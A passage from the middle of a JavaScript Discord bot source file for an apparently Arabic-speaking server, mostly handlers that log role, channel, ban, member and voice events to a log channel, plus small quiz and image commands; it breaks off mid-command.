1757 .setDescription(
1758 `**\n**:white_check_mark: Successfully \`\`CREATE\`\` Role.\n\n**Role Name:** \`\`${role.name}\`\` (ID: ${role.id})\n**By:** <@${userID}> (ID: ${userID})`
1759 )
1760 .setColor("GREEN")
1761 .setTimestamp()
1762 .setFooter(role.guild.name, role.guild.iconURL);
1763
1764 logChannel.send(roleCreate);
1765 });
1766});
1767client.on("roleDelete", role => {
1768 if (!role.guild.member(client.user).hasPermission("EMBED_LINKS")) return;
1769 if (!role.guild.member(client.user).hasPermission("VIEW_AUDIT_LOG")) return;
1770
1771 var logChannel = role.guild.channels.find(c => c.name === "log");
1772 if (!logChannel) return;
1773
1774 role.guild.fetchAuditLogs().then(logs => {
1775 var userID = logs.entries.first().executor.id;
1776 var userAvatar = logs.entries.first().executor.avatarURL;
1777
1778 let roleDelete = new Discord.RichEmbed()
1779 .setTitle("**[ROLE DELETE]**")
1780 .setThumbnail(userAvatar)
1781 .setDescription(
1782 `**\n**:white_check_mark: Successfully \`\`DELETE\`\` Role.\n\n**Role Name:** \`\`${role.name}\`\` (ID: ${role.id})\n**By:** <@${userID}> (ID: ${userID})`
1783 )
1784 .setColor("RED")
1785 .setTimestamp()
1786 .setFooter(role.guild.name, role.guild.iconURL);
1787
1788 logChannel.send(roleDelete);
1789 });
1790});
1791client.on("roleUpdate", (oldRole, newRole) => {
1792 if (!oldRole.guild.member(client.user).hasPermission("EMBED_LINKS")) return;
1793 if (!oldRole.guild.member(client.user).hasPermission("VIEW_AUDIT_LOG"))
1794 return;
1795
1796 var logChannel = oldRole.guild.channels.find(c => c.name === "log");
1797 if (!logChannel) return;
1798
1799 oldRole.guild.fetchAuditLogs().then(logs => {
1800 var userID = logs.entries.first().executor.id;
1801 var userAvatar = logs.entries.first().executor.avatarURL;
1802
1803 if (oldRole.name !== newRole.name) {
1804 let roleUpdateName = new Discord.RichEmbed()
1805 .setTitle("**[ROLE NAME UPDATE]**")
1806 .setThumbnail(userAvatar)
1807 .setColor("BLUE")
1808 .setDescription(
1809 `**\n**:white_check_mark: Successfully \`\`EDITED\`\` Role Name.\n\n**Old Name:** \`\`${oldRole.name}\`\`\n**New Name:** \`\`${newRole.name}\`\`\n**Role ID:** ${oldRole.id}\n**By:** <@${userID}> (ID: ${userID})`
1810 )
1811 .setTimestamp()
1812 .setFooter(oldRole.guild.name, oldRole.guild.iconURL);
1813
1814 logChannel.send(roleUpdateName);
1815 }
1816 if (oldRole.hexColor !== newRole.hexColor) {
1817 if (oldRole.hexColor === "#000000") {
1818 var oldColor = "`Default`";
1819 } else {
1820 var oldColor = oldRole.hexColor;
1821 }
1822 if (newRole.hexColor === "#000000") {
1823 var newColor = "`Default`";
1824 } else {
1825 var newColor = newRole.hexColor;
1826 }
1827 let roleUpdateColor = new Discord.RichEmbed()
1828 .setTitle("**[ROLE COLOR UPDATE]**")
1829 .setThumbnail(userAvatar)
1830 .setColor("BLUE")
1831 .setDescription(
1832 `**\n**:white_check_mark: Successfully \`\`EDITED\`\` **${oldRole.name}** Role Color.\n\n**Old Color:** ${oldColor}\n**New Color:** ${newColor}\n**Role ID:** ${oldRole.id}\n**By:** <@${userID}> (ID: ${userID})`
1833 )
1834 .setTimestamp()
1835 .setFooter(oldRole.guild.name, oldRole.guild.iconURL);
1836
1837 logChannel.send(roleUpdateColor);
1838 }
1839 if (oldRole.permissions !== newRole.permissions) {
1840 let roleUpdate = new Discord.RichEmbed()
1841 .setTitle("**[UPDATE ROLE PERMISSIONS]**")
1842 .setThumbnail(userAvatar)
1843 .setColor("BLUE")
1844 .setDescription(
1845 `**\n**:first_place: Successfully \`\`CHANGED\`\` **${oldRole.name}** Permissions!\n\n**Old Permissions:** \`\`${oldRole.permissions}\`\`\n**New Permissions:** \`\`${newRole.permissions}\`\`\n**By:** <@${userID}> (ID: ${userID})`
1846 )
1847 .setTimestamp()
1848 .setFooter(oldRole.guild.name, oldRole.guild.iconURL);
1849
1850 logChannel.send(roleUpdate);
1851 }
1852 });
1853});
1854
1855client.on("channelCreate", channel => {
1856 if (!channel.guild) return;
1857 if (!channel.guild.member(client.user).hasPermission("EMBED_LINKS")) return;
1858 if (!channel.guild.member(client.user).hasPermission("VIEW_AUDIT_LOG"))
1859 return;
1860
1861 var logChannel = channel.guild.channels.find(c => c.name === "log");
1862 if (!logChannel) return;
1863
1864 if (channel.type === "text") {
1865 var roomType = "Text";
1866 } else if (channel.type === "voice") {
1867 var roomType = "Voice";
1868 } else if (channel.type === "category") {
1869 var roomType = "Category";
1870 }
1871
1872 channel.guild.fetchAuditLogs().then(logs => {
1873 var userID = logs.entries.first().executor.id;
1874 var userAvatar = logs.entries.first().executor.avatarURL;
1875
1876 let channelCreate = new Discord.RichEmbed()
1877 .setTitle("**[CHANNEL CREATE]**")
1878 .setThumbnail(userAvatar)
1879 .setDescription(
1880 `**\n**:white_check_mark: Successfully \`\`CREATE\`\` **${roomType}** channel.\n\n**Channel Name:** \`\`${channel.name}\`\` (ID: ${channel.id})\n**By:** <@${userID}> (ID: ${userID})`
1881 )
1882 .setColor("GREEN")
1883 .setTimestamp()
1884 .setFooter(channel.guild.name, channel.guild.iconURL);
1885
1886 logChannel.send(channelCreate);
1887 });
1888});
1889client.on("channelDelete", channel => {
1890 if (!channel.guild) return;
1891 if (!channel.guild.member(client.user).hasPermission("EMBED_LINKS")) return;
1892 if (!channel.guild.member(client.user).hasPermission("VIEW_AUDIT_LOG"))
1893 return;
1894
1895 var logChannel = channel.guild.channels.find(c => c.name === "log");
1896 if (!logChannel) return;
1897
1898 if (channel.type === "text") {
1899 var roomType = "Text";
1900 } else if (channel.type === "voice") {
1901 var roomType = "Voice";
1902 } else if (channel.type === "category") {
1903 var roomType = "Category";
1904 }
1905
1906 channel.guild.fetchAuditLogs().then(logs => {
1907 var userID = logs.entries.first().executor.id;
1908 var userAvatar = logs.entries.first().executor.avatarURL;
1909
1910 let channelDelete = new Discord.RichEmbed()
1911 .setTitle("**[CHANNEL DELETE]**")
1912 .setThumbnail(userAvatar)
1913 .setDescription(
1914 `**\n**:white_check_mark: Successfully \`\`DELETE\`\` **${roomType}** channel.\n\n**Channel Name:** \`\`${channel.name}\`\` (ID: ${channel.id})\n**By:** <@${userID}> (ID: ${userID})`
1915 )
1916 .setColor("RED")
1917 .setTimestamp()
1918 .setFooter(channel.guild.name, channel.guild.iconURL);
1919
1920 logChannel.send(channelDelete);
1921 });
1922});
1923client.on("channelUpdate", (oldChannel, newChannel) => {
1924 if (!oldChannel.guild) return;
1925
1926 var logChannel = oldChannel.guild.channels.find(c => c.name === "log");
1927 if (!logChannel) return;
1928
1929 if (oldChannel.type === "text") {
1930 var channelType = "Text";
1931 } else if (oldChannel.type === "voice") {
1932 var channelType = "Voice";
1933 } else if (oldChannel.type === "category") {
1934 var channelType = "Category";
1935 }
1936
1937 oldChannel.guild.fetchAuditLogs().then(logs => {
1938 var userID = logs.entries.first().executor.id;
1939 var userAvatar = logs.entries.first().executor.avatarURL;
1940
1941 if (oldChannel.name !== newChannel.name) {
1942 let newName = new Discord.RichEmbed()
1943 .setTitle("**[CHANNEL EDIT]**")
1944 .setThumbnail(userAvatar)
1945 .setColor("BLUE")
1946 .setDescription(
1947 `**\n**:wrench: Successfully Edited **${channelType}** Channel Name\n\n**Old Name:** \`\`${oldChannel.name}\`\`\n**New Name:** \`\`${newChannel.name}\`\`\n**Channel ID:** ${oldChannel.id}\n**By:** <@${userID}> (ID: ${userID})`
1948 )
1949 .setTimestamp()
1950 .setFooter(oldChannel.guild.name, oldChannel.guild.iconURL);
1951
1952 logChannel.send(newName);
1953 }
1954 if (oldChannel.topic !== newChannel.topic) {
1955 let newTopic = new Discord.RichEmbed()
1956 .setTitle("**[CHANNEL EDIT]**")
1957 .setThumbnail(userAvatar)
1958 .setColor("BLUE")
1959 .setDescription(
1960 `**\n**:wrench: Successfully Edited **${channelType}** Channel Topic\n\n**Old Topic:**\n\`\`\`${oldChannel.topic ||
1961 "NULL"}\`\`\`\n**New Topic:**\n\`\`\`${newChannel.topic ||
1962 "NULL"}\`\`\`\n**Channel:** ${oldChannel} (ID: ${
1963 oldChannel.id
1964 })\n**By:** <@${userID}> (ID: ${userID})`
1965 )
1966 .setTimestamp()
1967 .setFooter(oldChannel.guild.name, oldChannel.guild.iconURL);
1968
1969 logChannel.send(newTopic);
1970 }
1971 });
1972});
1973
1974client.on("guildBanAdd", (guild, user) => {
1975 if (!guild.member(client.user).hasPermission("EMBED_LINKS")) return;
1976 if (!guild.member(client.user).hasPermission("VIEW_AUDIT_LOG")) return;
1977
1978 var logChannel = guild.channels.find(c => c.name === "log");
1979 if (!logChannel) return;
1980
1981 guild.fetchAuditLogs().then(logs => {
1982 var userID = logs.entries.first().executor.id;
1983 var userAvatar = logs.entries.first().executor.avatarURL;
1984
1985 if (userID === client.user.id) return;
1986
1987 let banInfo = new Discord.RichEmbed()
1988 .setTitle("**[BANNED]**")
1989 .setThumbnail(userAvatar)
1990 .setColor("DARK_RED")
1991 .setDescription(
1992 `**\n**:airplane: Successfully \`\`BANNED\`\` **${user.username}** From the server!\n\n**User:** <@${user.id}> (ID: ${user.id})\n**By:** <@${userID}> (ID: ${userID})`
1993 )
1994 .setTimestamp()
1995 .setFooter(guild.name, guild.iconURL);
1996
1997 logChannel.send(banInfo);
1998 });
1999});
2000client.on("guildBanRemove", (guild, user) => {
2001 if (!guild.member(client.user).hasPermission("EMBED_LINKS")) return;
2002 if (!guild.member(client.user).hasPermission("VIEW_AUDIT_LOG")) return;
2003
2004 var logChannel = guild.channels.find(c => c.name === "log");
2005 if (!logChannel) return;
2006
2007 guild.fetchAuditLogs().then(logs => {
2008 var userID = logs.entries.first().executor.id;
2009 var userAvatar = logs.entries.first().executor.avatarURL;
2010
2011 let unBanInfo = new Discord.RichEmbed()
2012 .setTitle("**[UNBANNED]**")
2013 .setThumbnail(userAvatar)
2014 .setColor("GREEN")
2015 .setDescription(
2016 `**\n**:unlock: Successfully \`\`UNBANNED\`\` **${user.username}** From the server\n\n**User:** <@${user.id}> (ID: ${user.id})\n**By:** <@${userID}> (ID: ${userID})`
2017 )
2018 .setTimestamp()
2019 .setFooter(guild.name, guild.iconURL);
2020
2021 logChannel.send(unBanInfo);
2022 });
2023});
2024client.on("guildMemberUpdate", (oldMember, newMember) => {
2025 var logChannel = oldMember.guild.channels.find(c => c.name === "log");
2026 if (!logChannel) return;
2027
2028 oldMember.guild.fetchAuditLogs().then(logs => {
2029 var userID = logs.entries.first().executor.id;
2030 var userAvatar = logs.entries.first().executor.avatarURL;
2031 var userTag = logs.entries.first().executor.tag;
2032
2033 if (oldMember.nickname !== newMember.nickname) {
2034 if (oldMember.nickname === null) {
2035 var oldNM = "``اسمه الاصلي``";
2036 } else {
2037 var oldNM = oldMember.nickname;
2038 }
2039 if (newMember.nickname === null) {
2040 var newNM = "``اسمه الاصلي``";
2041 } else {
2042 var newNM = newMember.nickname;
2043 }
2044
2045 let updateNickname = new Discord.RichEmbed()
2046 .setTitle("**[UPDATE MEMBER NICKNAME]**")
2047 .setThumbnail(userAvatar)
2048 .setColor("BLUE")
2049 .setDescription(
2050 `**\n**:spy: Successfully \`\`CHANGE\`\` Member Nickname.\n\n**User:** ${oldMember} (ID: ${oldMember.id})\n**Old Nickname:** ${oldNM}\n**New Nickname:** ${newNM}\n**By:** <@${userID}> (ID: ${userID})`
2051 )
2052 .setTimestamp()
2053 .setFooter(oldMember.guild.name, oldMember.guild.iconURL);
2054
2055 logChannel.send(updateNickname);
2056 }
2057 if (oldMember.roles.size < newMember.roles.size) {
2058 let role = newMember.roles
2059 .filter(r => !oldMember.roles.has(r.id))
2060 .first();
2061
2062 let roleAdded = new Discord.RichEmbed()
2063 .setTitle("**[ADDED ROLE TO MEMBER]**")
2064 .setThumbnail(oldMember.guild.iconURL)
2065 .setColor("GREEN")
2066 .setDescription(
2067 `**\n**:white_check_mark: Successfully \`\`ADDED\`\` Role to **${oldMember.user.username}**\n\n**User:** <@${oldMember.id}> (ID: ${oldMember.user.id})\n**Role:** \`\`${role.name}\`\` (ID: ${role.id})\n**By:** <@${userID}> (ID: ${userID})`
2068 )
2069 .setTimestamp()
2070 .setFooter(userTag, userAvatar);
2071
2072 logChannel.send(roleAdded);
2073 }
2074 if (oldMember.roles.size > newMember.roles.size) {
2075 let role = oldMember.roles
2076 .filter(r => !newMember.roles.has(r.id))
2077 .first();
2078
2079 let roleRemoved = new Discord.RichEmbed()
2080 .setTitle("**[REMOVED ROLE FROM MEMBER]**")
2081 .setThumbnail(oldMember.guild.iconURL)
2082 .setColor("RED")
2083 .setDescription(
2084 `**\n**:negative_squared_cross_mark: Successfully \`\`REMOVED\`\` Role from **${oldMember.user.username}**\n\n**User:** <@${oldMember.user.id}> (ID: ${oldMember.id})\n**Role:** \`\`${role.name}\`\` (ID: ${role.id})\n**By:** <@${userID}> (ID: ${userID})`
2085 )
2086 .setTimestamp()
2087 .setFooter(userTag, userAvatar);
2088
2089 logChannel.send(roleRemoved);
2090 }
2091 });
2092 if (oldMember.guild.owner.user.id !== newMember.guild.owner.user.id) {
2093 let newOwner = new Discord.RichEmbed()
2094 .setTitle("**[UPDATE GUILD OWNER]**")
2095 .setThumbnail(oldMember.guild.iconURL)
2096 .setColor("GREEN")
2097 .setDescription(
2098 `**\n**:white_check_mark: Successfully \`\`TRANSFER\`\` The Owner Ship.\n\n**Old Owner:** <@${oldMember.user.id}> (ID: ${oldMember.user.id})\n**New Owner:** <@${newMember.user.id}> (ID: ${newMember.user.id})`
2099 )
2100 .setTimestamp()
2101 .setFooter(oldMember.guild.name, oldMember.guild.iconURL);
2102
2103 logChannel.send(newOwner);
2104 }
2105});
2106client.on("guildMemberAdd", member => {
2107 var logChannel = member.guild.channels.find(c => c.name === "log");
2108 if (!logChannel) return;
2109
2110 let newMember = new Discord.RichEmbed()
2111 .setTitle("**[NEW MEMBER ADDED]**")
2112 .setThumbnail(member.user.avatarURL)
2113 .setColor("GREEN")
2114 .setDescription(
2115 `**\n**:arrow_lower_right: Joined **${
2116 member.user.username
2117 }** To the server!\n\n**User:** <@${member.user.id}> (ID: ${
2118 member.user.id
2119 })\n**Days In Discord:** ${Days(member.user.createdAt)}`
2120 )
2121 .setTimestamp()
2122 .setFooter(member.user.tag, member.user.avatarURL);
2123
2124 logChannel.send(newMember);
2125});
2126function Days(date) {
2127 let now = new Date();
2128 let diff = now.getTime() - date.getTime();
2129 let days = Math.floor(diff / 86400000);
2130 return days + (days == 1 ? " day" : " days") + " ago";
2131}
2132client.on("guildMemberRemove", member => {
2133 var logChannel = member.guild.channels.find(c => c.name === "log");
2134 if (!logChannel) return;
2135
2136 let leaveMember = new Discord.RichEmbed()
2137 .setTitle("**[LEAVE MEMBER]**")
2138 .setThumbnail(member.user.avatarURL)
2139 .setColor("GREEN")
2140 .setDescription(
2141 `**\n**:arrow_upper_left: Leave **${member.user.username}** From the server.\n\n**User:** <@${member.user.id}> (ID: ${member.user.id})`
2142 )
2143 .setTimestamp()
2144 .setFooter(member.user.tag, member.user.avatarURL);
2145
2146 logChannel.send(leaveMember);
2147});
2148
2149client.on("voiceStateUpdate", (voiceOld, voiceNew) => {
2150 if (!voiceOld.guild.member(client.user).hasPermission("EMBED_LINKS")) return;
2151 if (!voiceOld.guild.member(client.user).hasPermission("VIEW_AUDIT_LOG"))
2152 return;
2153
2154 var logChannel = voiceOld.guild.channels.find(c => c.name === "log");
2155 if (!logChannel) return;
2156
2157 voiceOld.guild.fetchAuditLogs().then(logs => {
2158 var userID = logs.entries.first().executor.id;
2159 var userTag = logs.entries.first().executor.tag;
2160 var userAvatar = logs.entries.first().executor.avatarURL;
2161
2162 if (voiceOld.serverMute === false && voiceNew.serverMute === true) {
2163 let serverMutev = new Discord.RichEmbed()
2164 .setTitle("**[VOICE MUTE]**")
2165 .setThumbnail(
2166 "https://images-ext-1.discordapp.net/external/pWQaw076OHwVIFZyeFoLXvweo0T_fDz6U5C9RBlw_fQ/https/cdn.pg.sa/UosmjqDNgS.png"
2167 )
2168 .setColor("RED")
2169 .setDescription(
2170 `**User:** <@${voiceOld.user.id}> (ID: ${voiceOld.user.id})\n**By:** <@${userID}> (ID: ${userID})\n**Channel:** \`\`${voiceOld.voiceChannel.name}\`\` (ID: ${voiceOld.voiceChannel.id})`
2171 )
2172 .setTimestamp()
2173 .setFooter(userTag, userAvatar);
2174
2175 logChannel.send(serverMutev);
2176 }
2177
2178 if (voiceOld.serverMute === true && voiceNew.serverMute === false) {
2179 let serverUnmutev = new Discord.RichEmbed()
2180 .setTitle("**[VOICE UNMUTE]**")
2181 .setThumbnail(
2182 "https://images-ext-1.discordapp.net/external/u2JNOTOc1IVJGEb1uCKRdQHXIj5-r8aHa3tSap6SjqM/https/cdn.pg.sa/Iy4t8H4T7n.png"
2183 )
2184 .setColor("GREEN")
2185 .setDescription(
2186 `**User:** <@${voiceOld.user.id}> (ID: ${voiceOld.user.id})\n**By:** <@${userID}> (ID: ${userID})\n**Channel:** \`\`${voiceOld.voiceChannel.name}\`\` (ID: ${voiceOld.voiceChannel.id})`
2187 )
2188 .setTimestamp()
2189 .setFooter(userTag, userAvatar);
2190
2191 logChannel.send(serverUnmutev);
2192 }
2193
2194 if (voiceOld.serverDeaf === false && voiceNew.serverDeaf === true) {
2195 let serverDeafv = new Discord.RichEmbed()
2196 .setTitle("**[VOICE DEAFEN]**")
2197 .setThumbnail(
2198 "https://images-ext-1.discordapp.net/external/7ENt2ldbD-3L3wRoDBhKHb9FfImkjFxYR6DbLYRjhjA/https/cdn.pg.sa/auWd5b95AV.png"
2199 )
2200 .setColor("RED")
2201 .setDescription(
2202 `**User:** <@${voiceOld.user.id}> (ID: ${voiceOld.user.id})\n**By:** <@${userID}> (ID: ${userID})\n**Channel:** \`\`${voiceOld.voiceChannel.name}\`\` (ID: ${voiceOld.voiceChannel.id})`
2203 )
2204 .setTimestamp()
2205 .setFooter(userTag, userAvatar);
2206
2207 logChannel.send(serverDeafv);
2208 }
2209
2210 if (voiceOld.serverDeaf === true && voiceNew.serverDeaf === false) {
2211 let serverUndeafv = new Discord.RichEmbed()
2212 .setTitle("**[VOICE UNDEAFEN]**")
2213 .setThumbnail(
2214 "https://images-ext-2.discordapp.net/external/s_abcfAlNdxl3uYVXnA2evSKBTpU6Ou3oimkejx3fiQ/https/cdn.pg.sa/i7fC8qnbRF.png"
2215 )
2216 .setColor("GREEN")
2217 .setDescription(
2218 `**User:** <@${voiceOld.user.id}> (ID: ${voiceOld.user.id})\n**By:** <@${userID}> (ID: ${userID})\n**Channel:** \`\`${voiceOld.voiceChannel.name}\`\` (ID: ${voiceOld.voiceChannel.id})`
2219 )
2220 .setTimestamp()
2221 .setFooter(userTag, userAvatar);
2222
2223 logChannel.send(serverUndeafv);
2224 }
2225 });
2226
2227 if (
2228 voiceOld.voiceChannelID !== voiceNew.voiceChannelID &&
2229 !voiceOld.voiceChannel
2230 ) {
2231 let voiceJoin = new Discord.RichEmbed()
2232 .setTitle("**[JOIN VOICE ROOM]**")
2233 .setColor("GREEN")
2234 .setThumbnail(voiceOld.user.avatarURL)
2235 .setDescription(
2236 `**\n**:arrow_lower_right: Successfully \`\`JOIN\`\` To Voice Channel.\n\n**Channel:** \`\`${voiceNew.voiceChannel.name}\`\` (ID: ${voiceNew.voiceChannelID})\n**User:** ${voiceOld} (ID: ${voiceOld.id})`
2237 )
2238 .setTimestamp()
2239 .setFooter(voiceOld.user.tag, voiceOld.user.avatarURL);
2240
2241 logChannel.send(voiceJoin);
2242 }
2243
2244 if (
2245 voiceOld.voiceChannelID !== voiceNew.voiceChannelID &&
2246 !voiceNew.voiceChannel
2247 ) {
2248 let voiceLeave = new Discord.RichEmbed()
2249 .setTitle("**[LEAVE VOICE ROOM]**")
2250 .setColor("GREEN")
2251 .setThumbnail(voiceOld.user.avatarURL)
2252 .setDescription(
2253 `**\n**:arrow_upper_left: Successfully \`\`LEAVE\`\` From Voice Channel.\n\n**Channel:** \`\`${voiceOld.voiceChannel.name}\`\` (ID: ${voiceOld.voiceChannelID})\n**User:** ${voiceOld} (ID: ${voiceOld.id})`
2254 )
2255 .setTimestamp()
2256 .setFooter(voiceOld.user.tag, voiceOld.user.avatarURL);
2257
2258 logChannel.send(voiceLeave);
2259 }
2260
2261 if (
2262 voiceOld.voiceChannelID !== voiceNew.voiceChannelID &&
2263 voiceNew.voiceChannel &&
2264 voiceOld.voiceChannel != null
2265 ) {
2266 let voiceLeave = new Discord.RichEmbed()
2267 .setTitle("**[CHANGED VOICE ROOM]**")
2268 .setColor("GREEN")
2269 .setThumbnail(voiceOld.user.avatarURL)
2270 .setDescription(
2271 `**\n**:repeat: Successfully \`\`CHANGED\`\` The Voice Channel.\n\n**From:** \`\`${voiceOld.voiceChannel.name}\`\` (ID: ${voiceOld.voiceChannelID})\n**To:** \`\`${voiceNew.voiceChannel.name}\`\` (ID: ${voiceNew.voiceChannelID})\n**User:** ${voiceOld} (ID: ${voiceOld.id})`
2272 )
2273 .setTimestamp()
2274 .setFooter(voiceOld.user.tag, voiceOld.user.avatarURL);
2275
2276 logChannel.send(voiceLeave);
2277 }
2278});
2279
2280//
2281
2282client.on("message", message => {
2283 var prefix = "$";
2284 var cats = [
2285 "http://www.shuuf.com/shof/uploads/2015/09/09/jpg/shof_b9d73150f90a594.jpg",
2286 "https://haltaalam.info/wp-content/uploads/2015/05/0.208.png",
2287 "https://haltaalam.info/wp-content/uploads/2015/05/266.png",
2288 "https://haltaalam.info/wp-content/uploads/2015/05/250.png",
2289 "https://haltaalam.info/wp-content/uploads/2017/02/0.2517.png",
2290 "https://pbs.twimg.com/media/CP0mi02UAAA3U2z.png",
2291 "http://www.shuuf.com/shof/uploads/2015/08/31/jpg/shof_3b74fa7295ec445.jpg",
2292 "http://www.shuuf.com/shof/uploads/2015/08/22/jpg/shof_fa3be6ab68fb415.jpg",
2293 "https://pbs.twimg.com/media/CSWPvmRUcAAeZbt.png",
2294 "https://pbs.twimg.com/media/B18VworIcAIMGsE.png"
2295 ];
2296 var args = message.content.split(" ").slice(1);
2297 if (message.content.startsWith(prefix + "هل تعلم")) {
2298 var cat = new Discord.RichEmbed().setImage(
2299 cats[Math.floor(Math.random() * cats.length)]
2300 );
2301 message.channel.sendEmbed(cat);
2302 }
2303});
2304
2305//
2306
2307//
2308
2309client.on("message", message => {
2310 if (message.content.startsWith("$فواكه")) {
2311 let slot1 = ["?", "?", "?", "?", "?", "?", "?", "?"];
2312 let slots1 = `${slot1[Math.floor(Math.random() * slot1.length)]}`;
2313 let slots2 = `${slot1[Math.floor(Math.random() * slot1.length)]}`;
2314 let slots3 = `${slot1[Math.floor(Math.random() * slot1.length)]}`;
2315 let we;
2316 if (slots1 === slots2 && slots2 === slots3) {
2317 we = "Win!";
2318 } else {
2319 we = "Lose!";
2320 }
2321 message.channel.send(`${slots1} | ${slots2} | ${slots3} - ${we}`);
2322 }
2323});
2324
2325//
2326
2327client.on("message", message => {
2328 if (message.content == "$فكك") {
2329 var x = [
2330 "محمد",
2331 "مدرسة",
2332 "بيت",
2333 "الله",
2334 "بيت مقدس",
2335 "مهندس",
2336 "ريضيات",
2337 "بسم الله رحمن رحيم",
2338 "طماطم",
2339 "سيرفر"
2340 ];
2341 var x2 = [
2342 "م ح م ح",
2343 "م د ر س ة",
2344 "ب ي ت ",
2345 "ا ل ل ه",
2346 "ب ي ت م ق د س",
2347 "م ه ن د س",
2348 "ر ي ض ي ا ت",
2349 "ب س م ا ل ل ه ر ح م ن ر ح ي م",
2350 "ط م ا ط م",
2351 "س ي ر ف ر"
2352 ];
2353
2354 var x3 = Math.floor(Math.random() * x.length);
2355 message.channel
2356 .send(
2357 ` فكك
2358 : __**${x[x3]}**__
2359لديك 20 ثانية`
2360 )
2361 .then(msg1 => {
2362 var r = message.channel.awaitMessages(msg => msg.content == x2[x3], {
2363 maxMatches: 1,
2364 time: 20000,
2365 errors: ["time"]
2366 });
2367 r.catch(() => {
2368 return message.channel
2369 .send(`:negative_squared_cross_mark: لقد انتهى الوقت ولم يقم أحد بالأجابة بشكل صحيح
2370 الإجآبة الصحيحةة هي __**${x2[x3]}**__`);
2371 });
2372
2373 r.then(collected => {
2374 message.channel.send(
2375 `${collected.first().author}لقد قمت بتفكيك كلمة في وقت مناسب`
2376 );
2377 });
2378 });
2379 }
2380});
2381
2382//
2383
2384client.on("message", message => {
2385 if (message.content == "$عواصم") {
2386 var x = [
2387 "ما عاصمة **المغرب**",
2388 "ما عاصمة **افغانستان**",
2389 "ما عاصمة **الجزائر **",
2390 "ما عاصمة **الارجنتين",
2391 "ما عاصمة ** مصر**",
2392 "ما عاصمة ** استراليا**",
2393 "ما عاصمة ** البرازيل**",
2394 "ما عاصمة **قطر **",
2395 "ما عاصمة **السعودية **",
2396 "ما عاصمة **سوريا **",
2397 "ما عاصمة **تركيا **",
2398 "ما عاصمة **العراق **",
2399 "ما عاصمة **لبنان **",
2400 "ما عاصمة **فلسطين **",
2401 "ما عاصمة **امريكا **",
2402 "ما عاصمة **كندا **",
2403 "ما عاصمة **البرازيل **"
2404 ];
2405 var x2 = [
2406 "الرباط",
2407 "كابل",
2408 "الجزائر",
2409 "بوينس ايرس",
2410 "القاهرة",
2411 "كانبرا",
2412 "برازيليا",
2413 "الدوحة",
2414 "الرياض",
2415 "دمشق",
2416 "انقرة",
2417 "بغداد",
2418 "بيروت",
2419 "القدس",
2420 "وشنطن",
2421 "اوتاوا",
2422 "برازيليا"
2423 ];
2424
2425 var x3 = Math.floor(Math.random() * x.length);
2426 message.channel
2427 .send(
2428 ` اول شخص يكتب عاصمة صح : __**${x[x3]}**__
2429لديك 20 ثانية لكتابة عاصمة صحيحة`
2430 )
2431 .then(msg1 => {
2432 var r = message.channel.awaitMessages(msg => msg.content == x2[x3], {
2433 maxMatches: 1,
2434 time: 20000,
2435 errors: ["time"]
2436 });
2437 r.catch(() => {
2438 return message.channel
2439 .send(`:negative_squared_cross_mark: لقد انتهى الوقت ولم يقم أحد بالأجابة بشكل صحيح
2440 الإجآبة الصحيحةة هي __**${x2[x3]}**__`);
2441 });
2442
2443 r.then(collected => {
2444 message.channel.send(
2445 `${
2446 collected.first().author
2447 }لقد قمت بكتابة عاصمة صح في الوقت المناسب `
2448 );
2449 });
2450 });
2451 }
2452});
2453
2454client.on("message", message => {
2455 if (message.content.startsWith("$kiss")) {
2456 let user = message.mentions.users.first();
2457 if (!user) {
2458 return message.emit("commandUsage", message, this.help);
2459 }
2460 var kiss = [
2461 "https://media.giphy.com/media/dP8ONh1mN8YWQ/giphy.gif",
2462 "https://media.giphy.com/media/CzCi6itPr3yBa/giphy.gif",
2463 "https://media.giphy.com/media/hnNyVPIXgLdle/giphy.gif",
2464 "https://media.giphy.com/media/bGm9FuBCGg4SY/giphy.gif",
2465 "https://media.giphy.com/media/G3va31oEEnIkM/giphy.gif",
2466 "https://media.giphy.com/media/G3va31oEEnIkM/giphy.gif",
2467 "https://media.giphy.com/media/BaEE3QOfm2rf2/giphy.gif",
2468 "https://media.giphy.com/media/OSq9souL3j5zW/giphy.gif",
2469 "https://giphy.com/gifs/kiss-anime-nISHppsUAzosMhttps://media.giphy.com/media/nISHppsUAzosM/giphy.gif",
2470 "https://media.giphy.com/media/ll5leTSPh4ocE/giphy.gif",
2471 "https://media.giphy.com/media/10r6oEoT6dk7E4/giphy.gif",
2472 "https://media.giphy.com/media/YC4QEtFmz64sE/giphy.gif",
2473 "https://media.giphy.com/media/KH1CTZtw1iP3W/giphy.gif",
2474 "https://media.giphy.com/media/flmwfIpFVrSKI/giphy.gif",
2475 "https://media.giphy.com/media/Z21HJj2kz9uBG/giphy.gif",
2476 "https://media.giphy.com/media/mGAzm47irxEpG/giphy.gif",
2477 "https://media.giphy.com/media/JynbO9pnGxPrO/giphy.gif",
2478 "https://media.giphy.com/media/7z1xs4Fl9Kb8A/giphy.gif",
2479 "https://media.giphy.com/media/EP9YxsbmbplIs/giphy.gif",
2480 "https://media.giphy.com/media/q7MxQyarcDHDW/giphy.gif",
2481 "https://media.giphy.com/media/uSHX6qYv1M7pC/giphy.gif",
2482 "https://media.giphy.com/media/EVODaJHSXZGta/giphy.gif",
2483 "https://media.giphy.com/media/EVODaJHSXZGta/giphy.gif",
2484 "https://media.giphy.com/media/fHtb1JPbfph72/giphy.gif",
2485 "https://media.giphy.com/media/pwZ2TLSTouCQw/giphy.gif",
2486 "https://media.giphy.com/media/DfzHC09hY64Gk/giphy.gif",
2487 "https://media.giphy.com/media/l0MYB8Ory7Hqefo9a/giphy.gif",
2488 "https://media.giphy.com/media/Y9iiZdUaNRF2U/giphy.gif",
2489 "https://media.giphy.com/media/CTo4IKRN4l4SA/giphy.gif",
2490 "https://media.giphy.com/media/jR22gdcPiOLaE/giphy.gif",
2491 "https://media.giphy.com/media/pFg4Ko6pXqQVy/giphy.gif"
2492 ];
2493
2494 message.channel
2495 .send({
2496 embed: {
2497 description: `${message.author.username}اداك قبله ا�� بوسه ${user.username}!`,
2498 image: {
2499 url: kiss[Math.floor(Math.random() * kiss.length)]
2500 }
2501 }
2502 })
2503 .catch(e => {
2504 client.log.error(e);
2505 });
2506 }
2507});
2508
2509//
2510
2511////
2512
2513client.on("message", async message => {
2514 let args = message.content
2515 .split(" ")
2516 .slice(1)
2517 .join(" ");
2518 let role =
2519 message.guild.roles.find("name", args) || message.guild.roles.get(args);
2520
2521 if (message.content.startsWith(prefix + "grole")) {
2522 if (!args) return message.reply("اكتب اسم الرتبة");
2523 if (!role) return message.reply("هذه الرتبة غير موجودة");
2524 let iQp = new Discord.RichEmbed()
2525 .setAuthor(message.author.tag, message.author.avatarURL)
